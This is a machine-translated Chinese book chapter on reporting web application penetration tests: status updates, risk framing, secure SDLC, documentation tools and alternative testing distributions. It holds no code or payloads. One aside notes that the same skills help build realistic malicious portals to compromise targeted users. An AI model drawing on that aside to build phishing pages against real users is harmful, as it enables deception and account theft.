有些人愤世嫉俗地认为这就是让我们生意兴隆的原因。如果用户及其雇主从不点击可疑链接,始终修补和维护他们的系统,并且只与经过验证的合作伙伴、客户和供应商进行有效业务,我们将看到更少的行动。我们都知道这是一个白日梦。互联网是很多东西,但整洁、有序和安全不是其中之一。作为渗透测试人员,我们独特地适合帮助推动更全面的安全策略。我们既可以确定当前状态,又可以提供建议和指导,以实现更安全的结果。这并不容易,它迫使我们运用许多技能,我们都更愿意忘记,但沟通技能,口头和书面,是传达发现和建议的关键。

最终报告无疑是我们大多数人关注的重点,但向客户提供可预测和信息丰富的状态报告是成功与否的关键。我将尽力为您提供一些资源,帮助构建最佳实践并制定您的报告。我们将讨论如何使用状态报告和可交付成果来讲述正确的故事,并帮助我们的客户找到平静。我们还将涵盖其他一些方面,比如提供建议、传递坏消息,甚至何时重复这些评估或如何推动渗透测试计划以进行勤奋的持续改进。在本章中,我们将讨论以下主题:

  • 权衡验证配置的方法,并在业务需求不断变化的情况下保持其相关性。

  • 提供如何审计代码版本和配置健康的指导。

  • 讨论分割、基于角色的访问控制和变更管理。

  • 讨论任何良好的 Web 渗透测试的演示和后续步骤。我们还将讨论与 Kali Linux 相关的竞争格局和互补工具。

  • 比较一些竞争产品与 Kali Linux,这些产品实际上可能有助于评估 Web 应用程序安全性。

结束


世界上最好的工作对客户来说意味着什么,除非它被转化为全面的、可操作的和有见地的指导。许多技术职业由于无法沟通工作而过早结束或受到限制。除了许可和意图,另一件事将我们与黑帽黑客区分开来,那就是我们与客户的沟通。我们必须成为老师和教练-对于我们的许多客户来说,这将是一个可怕和令人心烦的过程,但我们需要提供他们可以用来改进的指导。

清理呢?嗯,Web 应用程序渗透测试(在大多数情况下)不会对环境进行永久性更改。在我们使用的大多数利用中,简单地清除浏览器的缓存或清除 Web 前端的字段将使应用程序恢复到正常运行状态。

每个父母都会对他们的孩子说“重要的不是你说了什么,而是你怎么说的”至少每周说几次。孩子们需要调整他们的直觉以适应人群,而父母则是调音者。非常类似地,我们必须“了解我们的受众”。大部分内容和细节水平将不仅由工作声明(SOW)中概述的范围所决定,还将由客户自己团队的能力所决定。对他们的头脑说话会疏远和冒犯他们的员工,并使您进行后续测试或重复业务的机会渺茫。一些客户也可能非常防御或不可信任,我们必须记住他们自己的职业生涯可能取决于这些发现。因此,我们希望确保最终报告中没有任何意外。我们希望我们的客户和利益相关者对发现做好充分准备,并准备接受建设性的批评而不感到恐惧。我们可以通过几种不同的方式和整个过程来传递好坏消息。

渗透测试人员最好提供一个审慎和冷静的方法。有些人可能会试图在可能不存在问题的地方找到问题,以显示增加价值。其他人可能会试图增加紧急性,以在客户心中灌输恐惧,并使自己显得不可或缺。我鼓励您专注于真正的问题,表现出冷静和一贯的态度,并在向目标客户报告时努力追求质量发现而不是数量。最终,这种审慎和有意义的互动将帮助客户,增强信心并获得对您能力的信任。

避免意外的持续联系

我们应该计划并承诺与客户一起进行状态报告和标记会议的节奏。即使在黑盒测试中,我们通常也可以提供进展报告,以帮助他们了解我们的进展情况。这可以根据 SOW 中包括的里程碑来呈现,也可以根据目标环境的要求进行任何转变或调整。无论如何,报告都应包括重要的结果或印象,无论好坏。特别是在黑盒测试中,整个利益相关者社区(我们和他们)都应该为一些变化做好准备,因为测试的每个先前阶段通常会决定下一个阶段的范围。

一般来说,您应该考虑计划好的和未经计划的沟通,理想情况下,制定模板并建立传递每种沟通的渠道。就像医生的后续电话一样,我们希望客户知道您和您的团队将在设定的时间联系他们,并披露目标环境的任何重要和赞美的发现。一旦他们知道可以期待什么,这可以帮助他们理解这个过程,并鼓励他们的参与和审查。

组织内进行的白盒测试可能没有明确定义的合同文件,但这并不意味着沟通就应该中断。在整个软件开发生命周期(SDLC)中进行的内部测试可能会揭示关键的漏洞、活动攻击或违规行为。管理层提供一个可信且客观的流程,供内部测试人员提出这些问题至关重要。保持这种渠道的畅通可以维持开放的文化,并使应用程序更加安全和稳健。

建立定期更新

定期更新对于我们建立与客户的关系和构建积极的、建设性的叙述至关重要。我们的重点应该是帮助他们保护他们的网络应用程序,等到流程结束可能会使客户的利益相关者处于防御状态。我们需要接受他们在最终报告中将看到的内容,寻求即时的指导和价值。如果领导层已经准备好定期报告,让他们了解主要发现,他们将有时间克服可能存在的防御本能,而是期待报告的下一步。这些报告不需要非常详细,而应该突出主要发现,与 SOW 的状态相对比,总结我们为关键发现生成的任何临时报告,并提供展望。这个流程的大致轮廓可能包括以下部分:

  • 突出的发现

  • 测试进展/进度更新

  • 表扬(客户做得对的地方)

  • 建议(让他们意识到问题)

  • 进度和预算状态

  • 前进/预期的方式

注意

您团队的模板可能会有所不同,甚至可能会根据客户的需求进行定制,但以易于理解的形式向他们呈现这些信息有助于他们看到测试的价值,开始规划修复计划,并有助于避免任何意外情况 - 最终审查和总结应该只是审查。

白盒测试报告通常会作为正式交付物的一部分,就像任何其他验证和验证测试成果一样。如果这些交付物不是已经建立的标准,那么应该创建一个标准,以确保一致应用测试原则。在所有形式的渗透测试和报告中保持一致性对于帮助培训资助组织及其开发人员如何对待和回应发现至关重要。

何时按下大红按钮

即使向客户提供定期报告,仍会有时候发现或结果需要立即披露并停止工作,直到得到许可。可能会立即披露的关键缺陷包括可能导致数据外泄、发现活动攻击,甚至与人力资源相关的事件(发现间谍、内部威胁、不当内容等)。在制定约定规则的过程中,您或客户可能会根据目标环境的重要性或角色添加额外的条件,这也会触发立即通知。

保密协议要求您严格保守测试结果,但正是这些关键的、实时的通知需要您发挥最佳和最勤奋的作用。可能会触发披露和停止测试的问题通常足够严重,保密性是至关重要的。虽然计划的通讯可能通过电子邮件和安全文件共享提供,但根据客户的业务,可能需要与他们建立更安全的流程。我建议在最终获得批准之前建立这个流程,以帮助所有方面安全地传递这类消息,无论是通过面对面会议、加密电子邮件或消息传递,还是保密信使。

责任是我们接下来要考虑的。及时而完整地向赞助客户披露信息很重要,因为其影响往往对他们的业务、员工或客户构成威胁或损害。在紧急情况下,您的客户可能也在寻找理由来表达他们的恐惧或追究他人的责任。即时、完整和周到的披露确保我们在法律上不承担责任。他们可能会发火,但冷静和一贯的态度可以帮助化解这些情况。我们需要清楚地传达事实和陈述的观点之间的区别,在这些情况下,更多地关注已知的事实而不是我们自己的观点。一旦客户冷静下来或吸收了信息,他们可以促使我们提供我们的解释和专家意见。

将乐观情绪与行动计划结合起来

撰写关于您对 Web 应用程序的评估的顶级渗透测试报告是工作中最重要的阶段。您可能会想,“但是迈克,你刚告诉我们不应该有任何意外,还有什么可以留下的呢?”虽然您是正确的,没有重大影响的发现应该不是新闻;但在这份报告中,您团队的建议最终可以被记录下来。这些建议是您对风险和优先事项的评估,这不仅在这里受到欢迎,而且是预期的。您的专业知识是您被聘用的原因,理所当然地,这种见解将帮助他们进入更成熟、更严格的安全实践。

关于最终报告内容应该是什么样的良好指导可以通过查看一些公开可用的 Pen 测试报告存储库来获得。虽然在网站上列出的大多数报告(如github.com/juliocesarfort/public-pentesting-reports)并不是专门针对 Web 应用程序的,但这些部分和一般流程是有启发性的,并且可以帮助准备您自己团队的模板。一些特定于 Web 应用程序的报告是由动态应用安全测试DAST)供应商Veracodewww.veracode.com)提供的自动测试报告,以及咨询公司如CSTwww.cstl.com/CST/Penetration-Test/CST-Web-Application-Testing-Report.pdf)。

样本 Web 应用程序 Pen 测试报告

报告中的部分可能是来自扫描仪(如ArachniBurp SuiteOWASP ZAP)的自动输出的捆绑;或者它们可能是来自多个测试人员及其合作的输出的混合。像 Apache OpenOffice 和 Microsoft Office 这样的工具仍然是汇集输入的标准。Â

典型的大纲可能如下所示:

  • 封面

  • 执行摘要

  • 目录

  • 介绍

  • 测试背景

  • 方法论

  • 测试团队

  • 亮点、评分和风险总结

  • 风险登记

  • 指导/行动计划

  • 详细发现

  • 附录

  • 定义

  • 漏洞参考

  • 工具和资源

  • 侦察、扫描和枚举数据

  • 使用的代码

  • 链接文件

执行摘要

执行摘要应该很好地提供高层次的、可量化的评估(总体得分和主要指标),同时给管理层提供高层次的、有影响的摘要,以便向所有非技术人员传达测试结果和未来方向。

介绍

测试方法的信息可以帮助客户框定发现,并强化您团队的测试是符合 SOW 和在合同阶段更明确捕捉的参与规则的。这是一个总结和概述范围的任何偏差或扩展的机会,有助于确保他们理解实际执行了什么。

这也是一个很好的地方来讨论团队(如果适用的话),确保客户知道谁参与了测试和报告,以及谁受到合同条款的约束。

重点、评分和风险总结

我们讨论过的一些工具将会很好地评估漏洞的严重程度,与常见的测试框架或排名列表(例如 OWASP 前 10 名,它已经帮助我们指导工作)相比。一些这样的工件,比如下面截图中显示的样本 Arachni 报告输出,可以帮助提供漏洞的客观排名并指导进一步的测试。然而,这些排名无法提供目标环境的背景。例如,一些评分很高的风险可能在特定目标中影响有限,因为该技术的使用很少,或者它只在低权限功能或子门户中部署。虽然使用这些现成的工件可能很诱人,但应该做更多的工作来确保客户理解它们对他们情况的重要性。

样本 Arachni 输出 - 良好的起点

风险的更多信息

呈现风险和风险管理本身就是一个话题。我曾经在美国国防部的开发项目中帮助实施风险管理工作,并且我们遵循了国防采办项目的副助理部长办公室的风险、问题和机会管理指南(bbp.dau.mil/docs/RIO-Guide-Jun2015.pdf)。这远非唯一可接受的方法论 - 存在许多方法,你最好研究一种风险管理方法,它类似于你典型客户的共识。美国国防部使用的一般流程如下截图所示,我们作为测试人员,无论是内部还是外部,都有机会影响循环的部分:

美国国防部风险管理流程

如果有什么,我已经学到了风险管理是值得许多大学现在给予关注的。在管理风险(以及问题或机会),有一个明确定义的每个潜在影响和可能性等级是有益的。也就是说,大多数 IT 和应用程序中的风险方法主要关注两个主要标准:

  • 潜在影响:一些组织将以损害、减轻成本、受影响成本的百分比或其他可量化的影响来衡量这一点。这是大多数没有风险管理经验的人关注的。这是事件发生时所涉及的痛苦,比如:被闪电击中可能会非常有害,通常是致命的 - 疼!

  • 发生概率:许多人忽视了适当的关注和意识过程,实际上感受到痛苦的机会就是它发生的概率。这可以用百分比或频率(每次发生的机会)来衡量(每 x 连接、每个账户等)。

在客户眼中理解风险管理不仅是一种表现关心的好方式,而且是理解如何构建报告的关键。如果你能帮助以客户理解的语言和背景呈现调查结果,他们就更有可能接受建设性的批评,并将输入视为有帮助。

指导 - 赚取你的报酬

专业的渗透测试可能在我们攻击目标并在特别具有挑战性的环境中进行转移时更有趣,但我们并不是为了乐趣而得到报酬。我们得到报酬是为了提供指导和可操作的情报。客户雇佣我们是因为他们或者有人强迫他们雇佣我们意识到,他们无法在没有独立验证的情况下保持安全。我们提供的指导应该有事实根据,并且最好以印象总结后的行动计划形式呈现。一些客户可能会规定应该如何呈现,但在没有规定的情况下,您需要考虑如何最好地呈现调查结果。

对于具有大量漏洞的新客户进行更全面的测试可能会受益于一个分阶段的行动计划,该计划建议按照最需要的顺序处理应用程序的各个领域。在这些情况下,有助于将他们指向补救选项和预期的努力水平。客户会有很大的差异,但一般来说,您应该避免推荐与人员相关的问题,除非它们可以被视为建设性的,或者将有助于更好地准备员工。然而,一些客户可能要求员工参与评估,因此您的情况可能会有所不同。

轻量或定期测试可能只是按照最高感知严重性到最低的顺序呈现结果,而不考虑它们之间的相互依存关系。在这种情况下,这可能更容易接受,因为这是对先前测试的后续,或者结果将被纳入另一个规划工作。白盒测试结果通常会直接匹配到更大的验证和验证方法或文档,因此在这种情况下,只有在针对渗透测试的总体规范需要修改或澄清时,才有可能提供指导。

详细调查结果

根据报告的范围,这一部分可能存在,也可能不存在,但对于黑盒测试或红队测试几乎是必须的。您需要确保解释所选择的向量、获得的结果以及与给定评分的相关性。对于希望重复测试和验证补救措施的客户,可能需要屏幕截图和代码片段,因此您需要确保捕获大量日志、屏幕截图,并对任何脚本和配置进行编目。为此,有一些工具可以帮助您,并且已经内置到 Kali 的发行映像中,或者可以通过最小的努力获得。

类似 Evernote 或包含的 Keepnote 的良好笔记应用程序将大大帮助您记录其他工具遗漏的任何内容。我发现这些工具选择和它们支持的工作流程与部署它们的人一样多样化,因此我绝不会判断您是否决定选择其他工具。最重要的是报告最终可以以我们的客户可以消化的格式打印和电子交付。因此,大多数测试人员仍然会发现,Apache OpenOffice(https://www.openoffice.org/download/other.html)适用于 Kali,或者 Mac 或 Windows PC 上的 Microsoft Office 套件最适合组装最终报告,并且可以使用 Adobe 或用户喜爱的办公套件打印为 PDF。

Dradis 框架

协作和文档工具,如基于 Ruby 的 Dradis 框架,如下图所示(https://dradisframework.com/ce/)。Dradis 可以帮助我们将测试中使用的所有工具集结在一起,并提供类似 Evernote 的文档界面。使用这样的工具可以使我们保持有条理,从而确保完整覆盖并帮助制作专业报告。

社区版是免费的,而且功能强大,但专业版(在撰写本文时的价格为每月 79 美元)包括一些出色的功能,可帮助管理多个项目,利用模板和自动化工具导入,并提供技术支持(可以在此处比较免费和高级版本之间的差异:dradisframework.com/pro/editions.html)。 Dradis 提供了 OSCP、OWASP、PTES 和 HIPAA 的模板、方法和示例报告,其中一些功能只能在专业版中使用:dradisframework.com/academy/industry/compliance/

Dradis Framework with OWASP Template

Dradis 是一个很棒的选择,但在 Kali 中还有其他可用的工具!

MagicTree

与 Dradis 类似的是一个名为MagicTreewww.gremwell.com/magictreedoc)的 Java 应用程序,来自 Gremwell。MagicTree 实际上是一个很棒的工具,可以从一个中央数据收集应用程序中提供您在早期章节中学到的许多测试。作为一个工具,MagicTree 有很多出色的功能,但我发现它在传递通常在外部运行的命令时可能有点挑剔。它还需要导出才能看到产生的工件的样子,因此,除非您能直观地理解 X-Path 变量插入和原始数据收集将会是什么样子,否则您将需要使用试错来确定 MagicTree 中对您最有效的方法。与 Dradis 不同,MagicTree 不是开源的,但可以免费获得完整功能:

Gremwell 的 MagicTree

其他文档和组织工具

其他利基甚至手动的文档方法当然也存在,我鼓励您尝试使用其中的一些方法来完善您的报告和文档流程。例如,我一直喜欢使用Maltego,我发现它对于帮助组织和展示我在报告中提供的开源情报OSINT)是不可或缺的。Maltego Casefile是呈现融合的 OSINT 和社会工程结果的绝妙方式,甚至提供了捕获可能密码和类似密码的字段。在下面的截图中,我们可以看到我正在突出显示公司内的一个人,并查看他们与其他实体(位置、主机、其他人等)的关联。就像犯罪电影中的线图表显示了黑手党士兵如何向老板汇报一样,这可以帮助我们的客户快速地可视化黑客如何轻松准确地绘制组织的地图。

Maltego Casefile 组织 SET 和 OSINT 输出。

报告的图形

您可能会将 Kali 用作虚拟机,但万一您安装了裸机系统,您可能需要查看截图工具,以帮助您收集渗透测试中征服的视觉证据。

Kali Linux 内置了有限的选项,包括recordmydesktopcutycapt。我更喜欢使用ScreenshotShutter等工具。Screenshot 或类似工具如Scrot相当基本,但 Shutter 提供了一些选项和更高级的管理界面。如果我需要处理图片,我会使用 GIMP(www.gimp.org)是一个功能齐全的编辑器,适用于大多数平台,包括 Kali。同样,这取决于您自己的背景和风格,因此请尽管制定自己的计划!

注意

请记住,这些技能也将在制作您的流氓蜜罐和水冷攻击时发挥作用,使您能够打造逼真而恶意的门户,以帮助您 compromise targeted users and further your testing - 谈论双重用途!

带来最佳实践


参与网络安全,尤其是攻击性的最好部分之一是,我们可以从我们的培训和过去的工作经验中带来经验和专业知识。所有的辛劳和泪水都不是白费的;这些伤疤实际上会派上用场。我们测试的赞助商处境艰难。在目标环境中工作,他们往往没有跨行业、架构类型和规模的环境视角。在许多情况下,他们的员工没有当前的应用安全培训,无法帮助他们跟上趋势和即将到来的威胁。

因此,现在,有趣的部分来了,我们需要保持我们的认证,不断更新我们的知识库,并找到方法从早期的参与中汲取经验教训。通过 SANS、ISSA、OWASP 等会议绝对值得参加——大多数提供培训和许多新工具和技术的曝光。在线保持更新应该是理所当然的:Twitter、LinkedIn 和大量的博客可以成为零日漏洞和最紧迫的新闻的情报来源,这些新闻会让我们的客户感到不安,并证明我们的存在是有必要的。

那么我们如何提供他们所寻求的帮助呢?我们在哪里介入我们被聘用的经验?让我们看看一些关于如何使我们的报告和简报对团队更有用的想法。

融入安全性

应用团队和 IT 组织一般面临着一个不可能的折衷:要么安全,要么高效。这在很大程度上源自过去,安全是在架构或应用程序开发和部署之后才被添加上去的。随着应用程序变得更加复杂,其重要性急剧上升,后期添加的安全方法已经不再适用。当应用程序对安全毫无意识,而安全解决方案只是简单地叠加在顶部时,这种脱节会妨碍可见性,并迫使某人在调整之前手动识别问题。如下截图所示(来源于blogs.msdn.microsoft.com/usisvde/2012/03/09/windows-azure-security-best-practices-part-3-identifying-your-security-frame/),即使是一个简单的 Web 应用程序也有太多的执行点,以至于应用程序的安全性必须融入到架构中。这个插图没有显示的是同时需要在每一步实际感知和相关事件,并将其与从架构中其他组件中获得的情报相结合,以确定何时发生攻击。

根据微软,应用程序的执行点

不同的框架和托管范式将有不同的需求和优势,但客户应该了解需要在业务需求旁边开发的额外措施,以解决覆盖范围中的任何差距。根据您与客户的关系,可能需要引导他们达到这种理解,或者在他们的理解范围内工作,帮助他们客观地看待他们的应用程序。

完善 SDLC

白盒测试可以并且应该在软件开发生命周期SDLC)的各个阶段进行,早期发现的问题可以比在 SDLC 后期更便宜、更快速地得到纠正,在某些程序中,纠正成本可能增加 100 倍。与前面讨论的 RM 过程密切相关,OWASP 在下面的截图中提出并记录了安全 SDLC(www.owasp.org/index.php/Secure_SDLC_Cheat_Sheet并应该成为标准做法:

OWASP 的安全 SDLC

显然,这需要不仅仅是一份书面政策;它要求有专注于安全的开发人员,或者更好的是渗透测试人员,协助进行。安全 SDLC 可以阐明白盒测试覆盖的程度,并且应该包括任何外部灰盒或黑盒测试,以确保安全性被驱动到应用程序中。

最成熟的流程甚至可以在更大的开发环境中集成连续测试和始终开启的仪表板。我们还应该记住,我们作为潜在的外部顾问使用的工具可能与他们的开发团队或内部渗透测试人员使用的工具不同,而且这几乎总是件好事。

一些公司,如 Veracode(www.veracode.com),提供了关于他们如何在其产品工作流程中进行最佳测试的详细信息。在下面的高级方法论截图中,你可以看到他们试图整合培训的各个方面--人员、开发阶段、角色、应用程序的组件等等。虽然这些模板在你的实践早期确实提供了一些价值,但它们绝不是穷尽和强制性的;你可以制定和修改自己的内部流程,而且很可能你的客户也已经这样做了,以保持我们的警惕。关键在于将我们的客户流程与他们部署的工具相匹配。他们会发现,当工具按照开发人员的意图运行时,它们的工具集会更加高效。

Veracode 自己的测试生命周期

角色扮演 - 启用团队

在测试和教育客户的过程中,你还有机会指导和分享见解。开发、维护和操作应用程序的员工通常没有接受承担这样负担所需的培训。角色可能也不清晰,我经常遇到一些客户,尽管在环境中运营多年,仍然没有明确的权力分离和责任。这最后一点远远是我遇到的系统效率低下和安全漏洞的最大指标。因此,重要的是你理解今天存在的层次结构,并帮助客户填补这些空白,同时识别需要他们关注的其他领域或学科。

他们对事件的自己的反应是有帮助的,理解这一点很重要。我在帮助客户理解事件或流程可能出现问题的地方时,从RACI 矩阵负责人负有责任的征询意见的知情的 - racichart.org)中获得了很多收益。我们最关心的是对我们发现的问题进行纠正,但我们可以为任何 IT 流程部署这种技术,以帮助他们理解一般流程和角色。在下面的截图中,我们看到了一个事件响应流程,但业务连续性、灾难恢复、漏洞纠正等许多其他流程也可以使用这种快速而简单的练习来表达:

IR 的样本 RACI 矩阵

还需要角色来确保环境内定义和执行适当的管理、审计和用户访问。你将揭示的许多发现可以通过谨慎的基于角色的访问控制RBAC)和责任分割来减轻。如果客户的环境尚未实施 RBAC,这应该始终作为你的建议中的最佳实践提供。

挑选一个赢家

我们的每个建议都需要让我们远离模棱两可,否则我们就不应该提供它。这些建议可以来自我们的经验,但我们应该尽可能地加强它们,包括软件组件的创建者、权威人士以及提供同行评审指导的安全分析师的建议。安全研究团队的数量可能令人困惑,但最受尊敬的团队具有全球范围和良好的知名度,有助于引导行业朝着更好的政策和架构发展。一些在遭受侵犯时监视和检查的最佳网站如下:

在向客户提出解决方案时,我们应该尽量明确。特别是在架构变更方面,需要清晰简明的理由和行动计划。您可能会发现您的客户更希望得到更少的建议,而更多的是意识;您应该在一开始就澄清所需的响应。我还建议在适用的情况下,与您的团队一起对报告进行内部同行评审,因为越多的人看最终产品,最终结果就会更好。

计划和程序

我们的客户都会因为拥有一个所有人都理解的标准流程而受益匪浅,这个流程不仅可以帮助他们测试和检测漏洞,还可以让他们对漏洞进行优先级排序、解决和记录响应。较小的应用程序组将无法将资源专门用于这个特定的努力,因此,在许多方面,他们需要寻找方法将几个必要但需求资源的过程合并为一个单一的程序。OWASP 通过其名为全面、轻量级应用安全流程CLASPwww.owasp.org/index.php/CLASP_Concepts)的程序来解决这个问题。OWASP 将其设想为一组以活动驱动、基于角色的流程组件,其核心包含了将安全性规范化地纳入现有或新启动的软件开发生命周期的最佳实践

正如下面的截图所示,这个过程是围绕着对公司 SDLC 各个方面的深入视图构建的,并整合了风险管理、变更管理、资源规划和角色分配。

OWASP 的漏洞管理 CLASP 框架

OWASP 最近更多地关注了通用指南的制定,而不是规范性的程序,指出更详细和严格的程序可能更难被采纳,并忽视了已经存在的安装程序。CISO 的应用安全指南www.owasp.org/index.php/Application_Security_Guide_For_CISOs)是这些努力的成果,它为更注重安全的企业提供了跨人员、流程和技术的指导。除了这些指南,软件工程研究所的能力成熟度模型SEI CMMcmmiinstitute.com)、构建安全成熟度模型BSIMMwww.bsimm.com)和开放软件保障成熟度模型SAMMwww.opensamm.org)都与新指南兼容,为 CISO 及其应用程序、网络和安全团队提供了自由,以实施这些最佳实践并根据需要吸收这些想法。

更多关于变更管理

变更管理CM)是 IT 中任何人都喜欢讨厌的那些流程之一,但它起着至关重要的作用。CM 提供了一个结构,所有对运营或生产环境的变更都必须在其中进行。有了这个流程,理论上所有利益相关者都能意识到变更并适当地权衡。我们都曾处于流程过于松散(导致遗漏)或过于严格(人们试图避开或进展停滞)的情况下。我认为我们都可以同意 CM 是必要的,漏洞修复和违规响应也不例外。也就是说,我们需要确保 CM 流程足够灵活,以便在安全的名义下采取果断行动,同时确保所有受影响的方都已经接受。

自动化和适应

积极的安全策略是我们应该鼓励的,但还没有得到足够客户的认可。这是一个小客户群体的问题。投资于自动化工具集和漏洞修复的组织领先一步,许多商业供应商提供可以自动集成到应用环境中的解决方案集,并提供带有情报源的持续分析。

开源工具在这方面也有帮助,但实际上有几种自动化工具的部署方式:

  • 静态应用安全测试SAST)通常侧重于 SDLC 的早期阶段,并集中于代码和模块使用,更像是一个白盒测试工具。源代码分析是 SAST 方法中最普遍的,因为它与代码本身紧密相关,这些工具通常集成在开发环境中,有时由同一软件供应商提供。这些工具实际上检查已知漏洞和最佳实践的代码,标记出问题的代码片段。再次,像 IBM、HPE 和 Veracode 这样的重量级公司有助于更早地发现问题,从而使修复更便宜更快。可以在www.owasp.org/index.php/Source_Code_Analysis_Tools找到一个很好的列表。

  • 动态应用程序安全测试DAST)侧重于 SDLC 的后期阶段,在这个阶段,一个接近代表性的应用程序已经建立起来,可以像我们用 Arachni 进行黑盒测试一样进行探测和评估。这些工具,就像我们基于 Kali 的套件的大部分工具一样,工作在应用程序的边缘,扫描、枚举和操纵请求和响应来诊断问题。因此,这些工具没有像 SAST 那样有捕捉的潜力,但它们更好地模拟了外部威胁。我们已经使用了一些这样的工具;Tenable 和 Rapid7 似乎是市场领导者,但在www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools上列出了一些其他选项。

  • 交互式应用程序安全测试IAST)是竞技场上的一个相对新手,它使用应用程序中的代理来帮助实时识别漏洞。工具的独特定位使其能够在一个套件中解决 SAST 和 DAST 所做的大部分事情。DAST 和 SAST 在使用时通常一起使用,以确保揭示两个方面的缺陷,而 IAST 已经在做到这一点。许多已经建立起来的 SAST/DAST 供应商正在进入这个市场,或者迅速迁移他们的解决方案以提供这种能力,同时试图最小化运行这些代理所隐含的性能影响。

  • 移动应用程序安全测试MAST)类似于移动设备的 IAST,代理分布在一些或所有移动客户端中,以帮助提供遥测。

  • 运行时应用程序安全保护RASP)也类似于 IAST,只是代理实际上充当实时分布式执行点,帮助实时修复或补丁被侵犯的系统。这项技术非常新颖,人们对它们是否总体上是一件好事还有疑虑,或者它们是否会造成一种虚假的安全感。像 HPE、Whitehat Security、Veracode 和 IBM 这样的老牌公司在这里提供服务,但新公司如 Immunio 和 Contrast 也在这一领域崭露头角。

我们的测试不应该对这些工具视而不见,而应该补充它们,并在正确实施两种工具集时验证它们的有效性。一些供应商甚至正在扩展到与环境中的其他元素自动化,像 Imperva 这样的公司现在宣称他们的Web 应用程序过滤WAF)产品可以与漏洞扫描器实时工作,阻止威胁。

评估竞争


我们讨论过的许多 DAST 工具都可以挑战我们在 Kali 中使用的工具(如 Arachni、Nikto、Burp、ZAP 等),用于我们首选的渗透测试工具包。我假设每个阅读本书的人都习惯于根据自己最喜欢的工作方式做出自己的选择,因此除了所有的工具选项之外,我认为讨论一些备选操作系统和工具套件可能会有所帮助,这样你在回到 Kali 之前可能会想要评估一下。毕竟,看到我们拥有多么好的东西总是很好的。

Backbox Linux

Backbox (backbox.org/linux,如下图所示)是一个基于 Ubuntu 的渗透测试和安全发行版,来自一些意大利人,可能比 Kali 更容易使用,作为一个带有安全倾向的通用桌面。它包括许多相同的工具,因此真正的问题在于你是更喜欢 Kali 的 Debian/XFCE 外观和感觉,还是 Backbox 更加精致的 Ubuntu 布局。

Backbox Linux 主屏幕

武士网页测试框架

武士 WFT,如所知(如下图所示,samurai.inguardians.com)是基于 Ubuntu Linux 的 Live-CD 版本,专注于他们的四阶段方法(侦察,映射,发现和利用)对 Web 应用程序进行渗透测试。其他功能被搁置,他们将整个过程编织到他们内置的维基中,这在很大程度上就像他们的 Dradis 替身。

武士 WTF 菜单

Fedora Security Spin

在渗透测试领域,很多关注都集中在 Ubuntu/Debian 的 Linux 分支上,这可能是因为它们是最广泛使用的桌面 Linux 发行版。这并不意味着你不能使用一些经典的 Red Hat/Fedora 的东西!Fedora Security Lab 是 Fedora 的一个 Spin(定制分支),它融合了我们在 Kali 中喜爱和珍视的许多工具,但是在基于 RPM 的世界中重新编译和管理。如果 Red Hat、Centos 或 Fedora 是你的菜,你可以轻松地在 Fedora Security Spin 上运行起来(labs.fedoraproject.org/en/security/,如下所示)。

Fedora Security Spin/Lab

其他 Linux 渗透测试发行版

如果前面的选项不符合您的需求,还有许多其他选择。以下是一个小列表:

Windows 和 macOS 怎么样?

嗯,这本书主要讲的是使用 Kali 进行 Web 应用程序渗透测试,但是如果我不提到 Windows 和 macOS 平台都能够运行我们讨论过的许多工具,或者运行类似的工具,那就不够完整了。Burp Suite,Metasploit,Arachni 等等,都有适用于这两个平台的版本,标准工具如 Nmap 和 Nikto 也是如此。简而言之,如果你实在无法忍受运行 Linux,或者需要临时解决方案,这些操作系统也可以。不过,不要指望在 Defcon 或 Blackhat 会议上受到太多关注,因为他们往往是纯粹主义者。

总结


Web 应用程序渗透测试是深入、复杂且不断变化的。另一方面,它对于部署 Web 应用程序的所有企业(也就是所有企业)来说也是至关重要且具有很高的价值。正是因为这些原因,我们必须准备好帮助我们的客户解决其应用程序的安全性问题,避免成为头条新闻。记住,我们不仅要测试平台,而且我们经常是其他应用程序的客户,我希望我使用的 Web 应用程序经过了严格的测试,并且发现得到了适当的处理。

在本章中,我们从测试本身退后一步,讨论了如何呈现发现结果,使我们的客户更接近那个最高贵的目标,即安全。我们看到,不仅我们的报告和沟通可以帮助,而且建立一个明确定义那么,现在发生了什么?的安全程序和流程也可以帮助。通过做好我们的工作,我们可以帮助避免困扰当今社会的侵犯和妥协。世界上没有人能够逃脱潜在的危害,所以我们有责任产生影响,当涉及到保护时。

不用说,但是您在本书中学到的工具和技术以及您的持续练习有两种截然相反的用途。我们需要确保我们使用我们的技能和资源来改善我们客户的环境,而不是为了造成伤害或恶意攻击。权限和意图都应该清晰、明确并有记录。

我真的很享受与你们一起阅读这本书的过程——这是一次美妙的学习经历,我们从进行一般的渗透测试到深入研究 Web 应用程序学科。正如我们所看到的,这是一项值得的和高尚的事业,我希望这本书能帮助你们提高甚至掌握可以使用的技能。如果有什么,我希望你们都对学习和掌握更多知识充满好奇,并且积极行动,成为你们领域的倡导者。祝你们愉快地黑客,好运!

posted @ 2024-05-04 01:10  绝不原创的飞龙  阅读(43)  评论(0编辑  收藏  举报